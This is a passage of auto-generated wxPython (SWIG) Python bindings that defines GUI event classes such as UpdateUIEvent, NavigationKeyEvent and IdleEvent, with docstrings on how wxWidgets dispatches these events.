Iconized(*args, **kwargs):\n \"\"\"\n Iconized(self) -> bool\n\n Returns ``True`` if the frame has been iconized, ``False`` if it has\n been restored.\n \"\"\"\n return _core_.IconizeEvent_Iconized(*args, **kwargs)\n\n_core_.IconizeEvent_swigregister(IconizeEvent)\n\n#---------------------------------------------------------------------------\n\nclass MaximizeEvent(Event):\n \"\"\"An EVT_MAXIMIZE event is sent when a frame is maximized or restored.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int id=0) -> MaximizeEvent\n\n An EVT_MAXIMIZE event is sent when a frame is maximized or restored.\n \"\"\"\n _core_.MaximizeEvent_swiginit(self,_core_.new_MaximizeEvent(*args, **kwargs))\n_core_.MaximizeEvent_swigregister(MaximizeEvent)\n\n#---------------------------------------------------------------------------\n\nclass DropFilesEvent(Event):\n \"\"\"\n This class is used for drop files events, that is, when files have\n been dropped onto the window. This functionality is only available\n under Windows. The window must have previously been enabled for\n dropping by calling `wx.Window.DragAcceptFiles`.\n\n Important note: this is a separate implementation to the more general\n drag and drop implementation using `wx.FileDropTarget`, and etc. This\n implementation uses the older, Windows message-based approach of\n dropping files.\n\n Use wx.EVT_DROP_FILES to bind an event handler to receive file drop\n events.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n def __init__(self): raise AttributeError, \"No constructor defined\"\n __repr__ = _swig_repr\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Returns the position at which the files were dropped.\n \"\"\"\n return _core_.DropFilesEvent_GetPosition(*args, **kwargs)\n\n def GetNumberOfFiles(*args, **kwargs):\n \"\"\"\n GetNumberOfFiles(self) -> int\n\n Returns the number of files dropped.\n \"\"\"\n return _core_.DropFilesEvent_GetNumberOfFiles(*args, **kwargs)\n\n def GetFiles(*args, **kwargs):\n \"\"\"\n GetFiles(self) -> PyObject\n\n Returns a list of the filenames that were dropped.\n \"\"\"\n return _core_.DropFilesEvent_GetFiles(*args, **kwargs)\n\n Files = property(GetFiles,doc=\"See `GetFiles`\") \n NumberOfFiles = property(GetNumberOfFiles,doc=\"See `GetNumberOfFiles`\") \n Position = property(GetPosition,doc=\"See `GetPosition`\") \n_core_.DropFilesEvent_swigregister(DropFilesEvent)\n\n#---------------------------------------------------------------------------\n\nUPDATE_UI_PROCESS_ALL = _core_.UPDATE_UI_PROCESS_ALL\nUPDATE_UI_PROCESS_SPECIFIED = _core_.UPDATE_UI_PROCESS_SPECIFIED\nclass UpdateUIEvent(CommandEvent):\n \"\"\"\n This class is used for EVT_UPDATE_UI pseudo-events which are sent by\n wxWidgets to give an application the chance to update various user\n interface elements.\n\n Without update UI events, an application has to work hard to\n check/uncheck, enable/disable, and set the text for elements such as\n menu items and toolbar buttons. The code for doing this has to be\n mixed up with the code that is invoked when an action is invoked for a\n menu item or button.\n\n With update UI events, you define an event handler to look at the\n state of the application and change UI elements accordingly. wxWidgets\n will call your handler functions in idle time, so you don't have to\n worry where to call this code. In addition to being a clearer and more\n declarative method, it also means you don't have to worry whether\n you're updating a toolbar or menubar identifier. The same handler can\n update a menu item and toolbar button, if the ID values are the same.\n\n Instead of directly manipulating the menu or button, you call\n functions in the event object, such as `Check`. wxWidgets will\n determine whether such a call has been made, and which UI element to\n update.\n\n These events will work for popup menus as well as menubars. Just\n before a menu is popped up, `wx.Menu.UpdateUI` is called to process\n any UI events for the window that owns the menu.\n\n If you find that the overhead of UI update processing is affecting\n your application, you can do one or both of the following:\n\n 1. Call `wx.UpdateUIEvent.SetMode` with a value of\n wx.UPDATE_UI_PROCESS_SPECIFIED, and set the extra style\n wx.WS_EX_PROCESS_UPDATE_EVENTS for every window that should\n receive update events. No other windows will receive update\n events.\n\n 2. Call `wx.UpdateUIEvent.SetUpdateInterval` with a millisecond\n value to set the delay between updates. You may need to call\n `wx.Window.UpdateWindowUI` at critical points, for example when\n a dialog is about to be shown, in case the user sees a slight\n delay before windows are updated.\n\n Note that although events are sent in idle time, defining a EVT_IDLE\n handler for a window does not affect this because the events are sent\n from an internal idle handler.\n\n wxWidgets tries to optimize update events on some platforms. On\n Windows and GTK+, events for menubar items are only sent when the menu\n is about to be shown, and not in idle time.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int commandId=0) -> UpdateUIEvent\n\n Constructor\n \"\"\"\n _core_.UpdateUIEvent_swiginit(self,_core_.new_UpdateUIEvent(*args, **kwargs))\n def GetChecked(*args, **kwargs):\n \"\"\"\n GetChecked(self) -> bool\n\n Returns ``True`` if the UI element should be checked.\n \"\"\"\n return _core_.UpdateUIEvent_GetChecked(*args, **kwargs)\n\n def GetEnabled(*args, **kwargs):\n \"\"\"\n GetEnabled(self) -> bool\n\n Returns ``True`` if the UI element should be enabled.\n \"\"\"\n return _core_.UpdateUIEvent_GetEnabled(*args, **kwargs)\n\n def GetShown(*args, **kwargs):\n \"\"\"\n GetShown(self) -> bool\n\n Returns ``True`` if the UI element should be shown.\n \"\"\"\n return _core_.UpdateUIEvent_GetShown(*args, **kwargs)\n\n def GetText(*args, **kwargs):\n \"\"\"\n GetText(self) -> String\n\n Returns the text that should be set for the UI element.\n \"\"\"\n return _core_.UpdateUIEvent_GetText(*args, **kwargs)\n\n def GetSetText(*args, **kwargs):\n \"\"\"\n GetSetText(self) -> bool\n\n Returns ``True`` if the application has called `SetText`. For\n wxWidgets internal use only.\n \"\"\"\n return _core_.UpdateUIEvent_GetSetText(*args, **kwargs)\n\n def GetSetChecked(*args, **kwargs):\n \"\"\"\n GetSetChecked(self) -> bool\n\n Returns ``True`` if the application has called `Check`. For wxWidgets\n internal use only.\n \"\"\"\n return _core_.UpdateUIEvent_GetSetChecked(*args, **kwargs)\n\n def GetSetEnabled(*args, **kwargs):\n \"\"\"\n GetSetEnabled(self) -> bool\n\n Returns ``True`` if the application has called `Enable`. For wxWidgets\n internal use only.\n \"\"\"\n return _core_.UpdateUIEvent_GetSetEnabled(*args, **kwargs)\n\n def GetSetShown(*args, **kwargs):\n \"\"\"\n GetSetShown(self) -> bool\n\n Returns ``True`` if the application has called `Show`. For wxWidgets\n internal use only.\n \"\"\"\n return _core_.UpdateUIEvent_GetSetShown(*args, **kwargs)\n\n def Check(*args, **kwargs):\n \"\"\"\n Check(self, bool check)\n\n Check or uncheck the UI element.\n \"\"\"\n return _core_.UpdateUIEvent_Check(*args, **kwargs)\n\n def Enable(*args, **kwargs):\n \"\"\"\n Enable(self, bool enable)\n\n Enable or disable the UI element.\n \"\"\"\n return _core_.UpdateUIEvent_Enable(*args, **kwargs)\n\n def Show(*args, **kwargs):\n \"\"\"\n Show(self, bool show)\n\n Show or hide the UI element.\n \"\"\"\n return _core_.UpdateUIEvent_Show(*args, **kwargs)\n\n def SetText(*args, **kwargs):\n \"\"\"\n SetText(self, String text)\n\n Sets the text for this UI element.\n \"\"\"\n return _core_.UpdateUIEvent_SetText(*args, **kwargs)\n\n def SetUpdateInterval(*args, **kwargs):\n \"\"\"\n SetUpdateInterval(long updateInterval)\n\n Sets the interval between updates in milliseconds. Set to -1 to\n disable updates, or to 0 to update as frequently as possible. The\n default is 0.\n\n Use this to reduce the overhead of UI update events if your\n application has a lot of windows. If you set the value to -1 or\n greater than 0, you may also need to call `wx.Window.UpdateWindowUI`\n at appropriate points in your application, such as when a dialog is\n about to be shown.\n \"\"\"\n return _core_.UpdateUIEvent_SetUpdateInterval(*args, **kwargs)\n\n SetUpdateInterval = staticmethod(SetUpdateInterval)\n def GetUpdateInterval(*args, **kwargs):\n \"\"\"\n GetUpdateInterval() -> long\n\n Returns the current interval between updates in milliseconds. -1\n disables updates, 0 updates as frequently as possible.\n \"\"\"\n return _core_.UpdateUIEvent_GetUpdateInterval(*args, **kwargs)\n\n GetUpdateInterval = staticmethod(GetUpdateInterval)\n def CanUpdate(*args, **kwargs):\n \"\"\"\n CanUpdate(Window win) -> bool\n\n Returns ``True`` if it is appropriate to update (send UI update events\n to) this window.\n\n This function looks at the mode used (see `wx.UpdateUIEvent.SetMode`),\n the wx.WS_EX_PROCESS_UPDATE_EVENTS flag in window, the time update\n events were last sent in idle time, and the update interval, to\n determine whether events should be sent to this window now. By default\n this will always return true because the update mode is initially\n wx.UPDATE_UI_PROCESS_ALL and the interval is set to 0; so update\n events will be sent as often as possible. You can reduce the frequency\n that events are sent by changing the mode and/or setting an update\n interval.\n\n \"\"\"\n return _core_.UpdateUIEvent_CanUpdate(*args, **kwargs)\n\n CanUpdate = staticmethod(CanUpdate)\n def ResetUpdateTime(*args, **kwargs):\n \"\"\"\n ResetUpdateTime()\n\n Used internally to reset the last-updated time to the current time. It\n is assumed that update events are normally sent in idle time, so this\n is called at the end of idle processing.\n \"\"\"\n return _core_.UpdateUIEvent_ResetUpdateTime(*args, **kwargs)\n\n ResetUpdateTime = staticmethod(ResetUpdateTime)\n def SetMode(*args, **kwargs):\n \"\"\"\n SetMode(int mode)\n\n Specify how wxWidgets will send update events: to all windows, or only\n to those which specify that they will process the events.\n\n The mode may be one of the following values:\n\n ============================= ==========================================\n wxUPDATE_UI_PROCESS_ALL Send UI update events to all windows. This\n is the default setting.\n wxUPDATE_UI_PROCESS_SPECIFIED Send UI update events only to windows that\n have the wx.WS_EX_PROCESS_UI_UPDATES extra\n style set.\n ============================= ==========================================\n\n \"\"\"\n return _core_.UpdateUIEvent_SetMode(*args, **kwargs)\n\n SetMode = staticmethod(SetMode)\n def GetMode(*args, **kwargs):\n \"\"\"\n GetMode() -> int\n\n Returns a value specifying how wxWidgets will send update events: to\n all windows, or only to those which specify that they will process the\n events.\n \"\"\"\n return _core_.UpdateUIEvent_GetMode(*args, **kwargs)\n\n GetMode = staticmethod(GetMode)\n Checked = property(GetChecked,Check,doc=\"See `GetChecked`\") \n Enabled = property(GetEnabled,Enable,doc=\"See `GetEnabled`\") \n Shown = property(GetShown,Show,doc=\"See `GetShown`\") \n Text = property(GetText,SetText,doc=\"See `GetText` and `SetText`\") \n_core_.UpdateUIEvent_swigregister(UpdateUIEvent)\n\ndef UpdateUIEvent_SetUpdateInterval(*args, **kwargs):\n \"\"\"\n UpdateUIEvent_SetUpdateInterval(long updateInterval)\n\n Sets the interval between updates in milliseconds. Set to -1 to\n disable updates, or to 0 to update as frequently as possible. The\n default is 0.\n\n Use this to reduce the overhead of UI update events if your\n application has a lot of windows. If you set the value to -1 or\n greater than 0, you may also need to call `wx.Window.UpdateWindowUI`\n at appropriate points in your application, such as when a dialog is\n about to be shown.\n \"\"\"\n return _core_.UpdateUIEvent_SetUpdateInterval(*args, **kwargs)\n\ndef UpdateUIEvent_GetUpdateInterval(*args):\n \"\"\"\n UpdateUIEvent_GetUpdateInterval() -> long\n\n Returns the current interval between updates in milliseconds. -1\n disables updates, 0 updates as frequently as possible.\n \"\"\"\n return _core_.UpdateUIEvent_GetUpdateInterval(*args)\n\ndef UpdateUIEvent_CanUpdate(*args, **kwargs):\n \"\"\"\n UpdateUIEvent_CanUpdate(Window win) -> bool\n\n Returns ``True`` if it is appropriate to update (send UI update events\n to) this window.\n\n This function looks at the mode used (see `wx.UpdateUIEvent.SetMode`),\n the wx.WS_EX_PROCESS_UPDATE_EVENTS flag in window, the time update\n events were last sent in idle time, and the update interval, to\n determine whether events should be sent to this window now. By default\n this will always return true because the update mode is initially\n wx.UPDATE_UI_PROCESS_ALL and the interval is set to 0; so update\n events will be sent as often as possible. You can reduce the frequency\n that events are sent by changing the mode and/or setting an update\n interval.\n\n \"\"\"\n return _core_.UpdateUIEvent_CanUpdate(*args, **kwargs)\n\ndef UpdateUIEvent_ResetUpdateTime(*args):\n \"\"\"\n UpdateUIEvent_ResetUpdateTime()\n\n Used internally to reset the last-updated time to the current time. It\n is assumed that update events are normally sent in idle time, so this\n is called at the end of idle processing.\n \"\"\"\n return _core_.UpdateUIEvent_ResetUpdateTime(*args)\n\ndef UpdateUIEvent_SetMode(*args, **kwargs):\n \"\"\"\n UpdateUIEvent_SetMode(int mode)\n\n Specify how wxWidgets will send update events: to all windows, or only\n to those which specify that they will process the events.\n\n The mode may be one of the following values:\n\n ============================= ==========================================\n wxUPDATE_UI_PROCESS_ALL Send UI update events to all windows. This\n is the default setting.\n wxUPDATE_UI_PROCESS_SPECIFIED Send UI update events only to windows that\n have the wx.WS_EX_PROCESS_UI_UPDATES extra\n style set.\n ============================= ==========================================\n\n \"\"\"\n return _core_.UpdateUIEvent_SetMode(*args, **kwargs)\n\ndef UpdateUIEvent_GetMode(*args):\n \"\"\"\n UpdateUIEvent_GetMode() -> int\n\n Returns a value specifying how wxWidgets will send update events: to\n all windows, or only to those which specify that they will process the\n events.\n \"\"\"\n return _core_.UpdateUIEvent_GetMode(*args)\n\n#---------------------------------------------------------------------------\n\nclass SysColourChangedEvent(Event):\n \"\"\"\n This class is used for EVT_SYS_COLOUR_CHANGED, which are generated\n when the user changes the colour settings using the control\n panel. This is only applicable under Windows.\n\n The default event handler for this event propagates the event to child\n windows, since Windows only sends the events to top-level windows. If\n intercepting this event for a top-level window, remember to call\n `Skip` so the the base class handler will still be executed, or to\n pass the event on to the window's children explicitly.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> SysColourChangedEvent\n\n Constructor\n \"\"\"\n _core_.SysColourChangedEvent_swiginit(self,_core_.new_SysColourChangedEvent(*args, **kwargs))\n_core_.SysColourChangedEvent_swigregister(SysColourChangedEvent)\n\n#---------------------------------------------------------------------------\n\nclass MouseCaptureChangedEvent(Event):\n \"\"\"\n An mouse capture changed event (EVT_MOUSE_CAPTURE_CHANGED) is sent to\n a window that loses its mouse capture. This is called even if\n `wx.Window.ReleaseMouse` was called by the application code. Handling\n this event allows an application to cater for unexpected capture\n releases which might otherwise confuse mouse handling code.\n\n This event is implemented under Windows only.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int winid=0, Window gainedCapture=None) -> MouseCaptureChangedEvent\n\n Constructor\n \"\"\"\n _core_.MouseCaptureChangedEvent_swiginit(self,_core_.new_MouseCaptureChangedEvent(*args, **kwargs))\n def GetCapturedWindow(*args, **kwargs):\n \"\"\"\n GetCapturedWindow(self) -> Window\n\n Returns the window that gained the capture, or ``None`` if it was a\n non-wxWidgets window.\n \"\"\"\n return _core_.MouseCaptureChangedEvent_GetCapturedWindow(*args, **kwargs)\n\n CapturedWindow = property(GetCapturedWindow,doc=\"See `GetCapturedWindow`\") \n_core_.MouseCaptureChangedEvent_swigregister(MouseCaptureChangedEvent)\n\n#---------------------------------------------------------------------------\n\nclass MouseCaptureLostEvent(Event):\n \"\"\"\n A mouse capture lost event is sent to a window that obtained mouse\n capture, which was subsequently loss due to \"external\" event, for\n example when a dialog box is shown or if another application captures\n the mouse.\n\n If this happens, this event is sent to all windows that are on the\n capture stack (i.e. a window that called `wx.Window.CaptureMouse`, but\n didn't call `wx.Window.ReleaseMouse` yet). The event is *not* sent\n if the capture changes because of a call to CaptureMouse or\n ReleaseMouse.\n\n This event is currently emitted under Windows only.\n\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int winid=0) -> MouseCaptureLostEvent\n\n A mouse capture lost event is sent to a window that obtained mouse\n capture, which was subsequently loss due to \"external\" event, for\n example when a dialog box is shown or if another application captures\n the mouse.\n\n If this happens, this event is sent to all windows that are on the\n capture stack (i.e. a window that called `wx.Window.CaptureMouse`, but\n didn't call `wx.Window.ReleaseMouse` yet). The event is *not* sent\n if the capture changes because of a call to CaptureMouse or\n ReleaseMouse.\n\n This event is currently emitted under Windows only.\n\n \"\"\"\n _core_.MouseCaptureLostEvent_swiginit(self,_core_.new_MouseCaptureLostEvent(*args, **kwargs))\n_core_.MouseCaptureLostEvent_swigregister(MouseCaptureLostEvent)\n\n#---------------------------------------------------------------------------\n\nclass DisplayChangedEvent(Event):\n \"\"\"\n An EVT_DISPLAY_CHANGED event is sent to all windows when the display\n resolution has changed.\n\n This event is implemented under Windows only.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> DisplayChangedEvent\"\"\"\n _core_.DisplayChangedEvent_swiginit(self,_core_.new_DisplayChangedEvent(*args, **kwargs))\n_core_.DisplayChangedEvent_swigregister(DisplayChangedEvent)\n\n#---------------------------------------------------------------------------\n\nclass PaletteChangedEvent(Event):\n \"\"\"\n An EVT_PALETTE_CHANGED event is sent when the system palette has\n changed, thereby giving each window a chance to redo their own to\n match.\n\n This event is implemented under Windows only.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int id=0) -> PaletteChangedEvent\n\n An EVT_PALETTE_CHANGED event is sent when the system palette has\n changed, thereby giving each window a chance to redo their own to\n match.\n\n This event is implemented under Windows only.\n \"\"\"\n _core_.PaletteChangedEvent_swiginit(self,_core_.new_PaletteChangedEvent(*args, **kwargs))\n def SetChangedWindow(*args, **kwargs):\n \"\"\"SetChangedWindow(self, Window win)\"\"\"\n return _core_.PaletteChangedEvent_SetChangedWindow(*args, **kwargs)\n\n def GetChangedWindow(*args, **kwargs):\n \"\"\"GetChangedWindow(self) -> Window\"\"\"\n return _core_.PaletteChangedEvent_GetChangedWindow(*args, **kwargs)\n\n ChangedWindow = property(GetChangedWindow,SetChangedWindow,doc=\"See `GetChangedWindow` and `SetChangedWindow`\") \n_core_.PaletteChangedEvent_swigregister(PaletteChangedEvent)\n\n#---------------------------------------------------------------------------\n\nclass QueryNewPaletteEvent(Event):\n \"\"\"\n An EVT_QUERY_NEW_PALETE event indicates the window is getting keyboard\n focus and should re-do its palette.\n\n This event is implemented under Windows only.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, int winid=0) -> QueryNewPaletteEvent\n\n Constructor.\n \"\"\"\n _core_.QueryNewPaletteEvent_swiginit(self,_core_.new_QueryNewPaletteEvent(*args, **kwargs))\n def SetPaletteRealized(*args, **kwargs):\n \"\"\"\n SetPaletteRealized(self, bool realized)\n\n App should set this if it changes the palette.\n \"\"\"\n return _core_.QueryNewPaletteEvent_SetPaletteRealized(*args, **kwargs)\n\n def GetPaletteRealized(*args, **kwargs):\n \"\"\"GetPaletteRealized(self) -> bool\"\"\"\n return _core_.QueryNewPaletteEvent_GetPaletteRealized(*args, **kwargs)\n\n PaletteRealized = property(GetPaletteRealized,SetPaletteRealized,doc=\"See `GetPaletteRealized` and `SetPaletteRealized`\") \n_core_.QueryNewPaletteEvent_swigregister(QueryNewPaletteEvent)\n\n#---------------------------------------------------------------------------\n\nclass NavigationKeyEvent(Event):\n \"\"\"\n EVT_NAVIGATION_KEY events are used to control moving the focus between\n widgets, otherwise known as tab-traversal. You woudl normally not\n catch navigation events in applications as there are already\n appropriate handlers in `wx.Dialog` and `wx.Panel`, but you may find\n it useful to send navigation events in certain situations to change\n the focus in certain ways, although it's probably easier to just call\n `wx.Window.Navigate`.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self) -> NavigationKeyEvent\"\"\"\n _core_.NavigationKeyEvent_swiginit(self,_core_.new_NavigationKeyEvent(*args, **kwargs))\n def GetDirection(*args, **kwargs):\n \"\"\"\n GetDirection(self) -> bool\n\n Returns ``True`` if the direction is forward, ``False`` otherwise.\n \"\"\"\n return _core_.NavigationKeyEvent_GetDirection(*args, **kwargs)\n\n def SetDirection(*args, **kwargs):\n \"\"\"\n SetDirection(self, bool forward)\n\n Specify the direction that the navigation should take. Usually the\n difference between using Tab and Shift-Tab.\n \"\"\"\n return _core_.NavigationKeyEvent_SetDirection(*args, **kwargs)\n\n def IsWindowChange(*args, **kwargs):\n \"\"\"\n IsWindowChange(self) -> bool\n\n Returns ``True`` if window change is allowed.\n \"\"\"\n return _core_.NavigationKeyEvent_IsWindowChange(*args, **kwargs)\n\n def SetWindowChange(*args, **kwargs):\n \"\"\"\n SetWindowChange(self, bool ischange)\n\n Specify if the navigation should be able to change parent windows.\n For example, changing notebook pages, etc. This is usually implemented\n by using Control-Tab.\n \"\"\"\n return _core_.NavigationKeyEvent_SetWindowChange(*args, **kwargs)\n\n def IsFromTab(*args, **kwargs):\n \"\"\"\n IsFromTab(self) -> bool\n\n Returns ``True`` if the navigation event is originated from the Tab\n key.\n \"\"\"\n return _core_.NavigationKeyEvent_IsFromTab(*args, **kwargs)\n\n def SetFromTab(*args, **kwargs):\n \"\"\"\n SetFromTab(self, bool bIs)\n\n Set to true under MSW if the event was generated using the tab key.\n This is required for proper navogation over radio buttons.\n \"\"\"\n return _core_.NavigationKeyEvent_SetFromTab(*args, **kwargs)\n\n def SetFlags(*args, **kwargs):\n \"\"\"\n SetFlags(self, long flags)\n\n Set the navigation flags to a combination of the following:\n\n * wx.NavigationKeyEvent.IsBackward\n * wx.NavigationKeyEvent.IsForward\n * wx.NavigationKeyEvent.WinChange\n * wx.NavigationKeyEvent.FromTab\n\n \"\"\"\n return _core_.NavigationKeyEvent_SetFlags(*args, **kwargs)\n\n def GetCurrentFocus(*args, **kwargs):\n \"\"\"\n GetCurrentFocus(self) -> Window\n\n Returns the child window which currenty has the focus. May be\n ``None``.\n \"\"\"\n return _core_.NavigationKeyEvent_GetCurrentFocus(*args, **kwargs)\n\n def SetCurrentFocus(*args, **kwargs):\n \"\"\"\n SetCurrentFocus(self, Window win)\n\n Set the window that has the focus.\n \"\"\"\n return _core_.NavigationKeyEvent_SetCurrentFocus(*args, **kwargs)\n\n IsBackward = _core_.NavigationKeyEvent_IsBackward\n IsForward = _core_.NavigationKeyEvent_IsForward\n WinChange = _core_.NavigationKeyEvent_WinChange\n FromTab = _core_.NavigationKeyEvent_FromTab\n CurrentFocus = property(GetCurrentFocus,SetCurrentFocus,doc=\"See `GetCurrentFocus` and `SetCurrentFocus`\") \n Direction = property(GetDirection,SetDirection,doc=\"See `GetDirection` and `SetDirection`\") \n_core_.NavigationKeyEvent_swigregister(NavigationKeyEvent)\n\n#---------------------------------------------------------------------------\n\nclass WindowCreateEvent(CommandEvent):\n \"\"\"\n The EVT_WINDOW_CREATE event is sent as soon as the window object (the\n underlying GUI object) exists.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window win=None) -> WindowCreateEvent\n\n The EVT_WINDOW_CREATE event is sent as soon as the window object (the\n underlying GUI object) exists.\n \"\"\"\n _core_.WindowCreateEvent_swiginit(self,_core_.new_WindowCreateEvent(*args, **kwargs))\n def GetWindow(*args, **kwargs):\n \"\"\"\n GetWindow(self) -> Window\n\n Returns the window that this event refers to.\n \"\"\"\n return _core_.WindowCreateEvent_GetWindow(*args, **kwargs)\n\n Window = property(GetWindow,doc=\"See `GetWindow`\") \n_core_.WindowCreateEvent_swigregister(WindowCreateEvent)\n\nclass WindowDestroyEvent(CommandEvent):\n \"\"\"\n The EVT_WINDOW_DESTROY event is sent from the `wx.Window` destructor\n when the GUI window is destroyed.\n\n When a class derived from `wx.Window` is destroyed its destructor will\n have already run by the time this event is sent. Therefore this event\n will not usually be received at all by the window itself. Since it is\n received after the destructor has run, an object should not try to\n handle its own wx.WindowDestroyEvent, but it can be used to get\n notification of the destruction of another window.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window win=None) -> WindowDestroyEvent\n\n The EVT_WINDOW_DESTROY event is sent from the `wx.Window` destructor\n when the GUI window is destroyed.\n\n When a class derived from `wx.Window` is destroyed its destructor will\n have already run by the time this event is sent. Therefore this event\n will not usually be received at all by the window itself. Since it is\n received after the destructor has run, an object should not try to\n handle its own wx.WindowDestroyEvent, but it can be used to get\n notification of the destruction of another window.\n \"\"\"\n _core_.WindowDestroyEvent_swiginit(self,_core_.new_WindowDestroyEvent(*args, **kwargs))\n def GetWindow(*args, **kwargs):\n \"\"\"\n GetWindow(self) -> Window\n\n Returns the window that this event refers to.\n \"\"\"\n return _core_.WindowDestroyEvent_GetWindow(*args, **kwargs)\n\n Window = property(GetWindow,doc=\"See `GetWindow`\") \n_core_.WindowDestroyEvent_swigregister(WindowDestroyEvent)\n\n#---------------------------------------------------------------------------\n\nclass ContextMenuEvent(CommandEvent):\n \"\"\"\n This class is used for context menu events (EVT_CONTECT_MENU,) sent to\n give the application a chance to show a context (popup) menu.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, EventType type=wxEVT_NULL, int winid=0, Point pt=DefaultPosition) -> ContextMenuEvent\n\n Constructor.\n \"\"\"\n _core_.ContextMenuEvent_swiginit(self,_core_.new_ContextMenuEvent(*args, **kwargs))\n def GetPosition(*args, **kwargs):\n \"\"\"\n GetPosition(self) -> Point\n\n Returns the position (in screen coordinants) at which the menu should\n be shown.\n \"\"\"\n return _core_.ContextMenuEvent_GetPosition(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"\n SetPosition(self, Point pos)\n\n Sets the position at which the menu should be shown.\n \"\"\"\n return _core_.ContextMenuEvent_SetPosition(*args, **kwargs)\n\n Position = property(GetPosition,SetPosition,doc=\"See `GetPosition` and `SetPosition`\") \n_core_.ContextMenuEvent_swigregister(ContextMenuEvent)\n\n#---------------------------------------------------------------------------\n\nIDLE_PROCESS_ALL = _core_.IDLE_PROCESS_ALL\nIDLE_PROCESS_SPECIFIED = _core_.IDLE_PROCESS_SPECIFIED\nclass IdleEvent(Event):\n \"\"\"\n This class is used for EVT_IDLE events, which are generated and sent\n when the application *becomes* idle. In other words, the when the\n event queue becomes empty then idle events are sent to all windows (by\n default) and as long as none of them call `RequestMore` then there are\n no more idle events until after the system event queue has some normal\n events and then becomes empty again.\n\n By default, idle events are sent to all windows. If this is causing a\n significant overhead in your application, you can call\n `wx.IdleEvent.SetMode` with the value wx.IDLE_PROCESS_SPECIFIED, and\n set the wx.WS_EX_PROCESS_IDLE extra window style for every window\n which should receive idle events. Then idle events will only be sent\n to those windows and not to any others.\n \"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> IdleEvent\n\n Constructor\n \"\"\"\n _core_.IdleEvent_swiginit(self,_core_.new_IdleEvent(*args, **kwargs))\n def RequestMore(*args, **kwargs):\n \"\"\"\n RequestMore(self, bool needMore=True)\n\n Tells wxWidgets that more processing is required. This function can be\n called by an EVT_IDLE handler for a window to indicate that the\n application should forward the EVT_IDLE event once more to the\n application windows. If no window calls this function during its\n EVT_IDLE handler, then the application will remain in a passive event\n loop until a new event is posted to the application by the windowing\n system.\n \"\"\"\n return _core_.IdleEvent_RequestMore(*args, **kwargs)\n\n def MoreRequested(*args, **kwargs):\n \"\"\"\n MoreRequested(self) -> bool\n\n Returns ``True`` if the OnIdle function processing this event\n requested more processing time.\n \"\"\"\n return _core_.IdleEvent_MoreRequested(*args, **kwargs)\n\n def SetMode(*args, **kwargs):\n \"\"\"\n SetMode(int mode)\n\n Static method for specifying how wxWidgets will send idle events: to\n all windows, or only to those which specify that they will process the\n events.\n\n The mode can be one of the following values:\n\n ========================= ========================================\n wx.IDLE_PROCESS_ALL Send idle events to all windows\n wx.IDLE_PROCESS_SPECIFIED Send idle events only to windows that have\n the wx.WS_EX_PROCESS_IDLE extra style\n flag set.\n ========================= ========================================\n\n \"\"\"\n return _core_.IdleEvent_SetMode(*args, **kwargs)\n\n SetMode = staticmethod(SetMode)\n def GetMode(*args, **kwargs):\n \"\"\"\n GetMode() -> int\n\n Static method returning a value specifying how wxWidgets will send\n idle events: to all windows, or only to those which specify that they\n will process the events.\n \"\"\"\n return _core_.IdleEvent_GetMode(*args, **kwargs)\n\n GetMode = staticmethod(GetMode)\n def CanSend(*args, **kwargs):\n \"\"\"\n CanSend(Window win) -> bool\n\n Returns ``True`` if it is appropriate to send idle events to this\n window.\n\n This function looks at the mode used (see `wx.IdleEvent.SetMode`), and\n the wx.WS_EX_PROCESS_IDLE style in window to determine whether idle\n events should be sent to this window now. By default this will always\n return ``True`` because the update mode is initially\n wx.IDLE_PROCESS_ALL. You can change the mode to only send idle events\n to windows with the wx.WS_EX_PROCESS_IDLE extra window style set.\n \"\"\"\n return _core_.IdleEvent_CanSend(*args, **kwargs)\n\n CanSend = staticmethod(CanSend)\n_core_.IdleEvent_swigregister(IdleEvent)\n\ndef IdleEvent_SetMode(*args, **kwargs):\n \"\"\"\n IdleEvent_SetMode(int 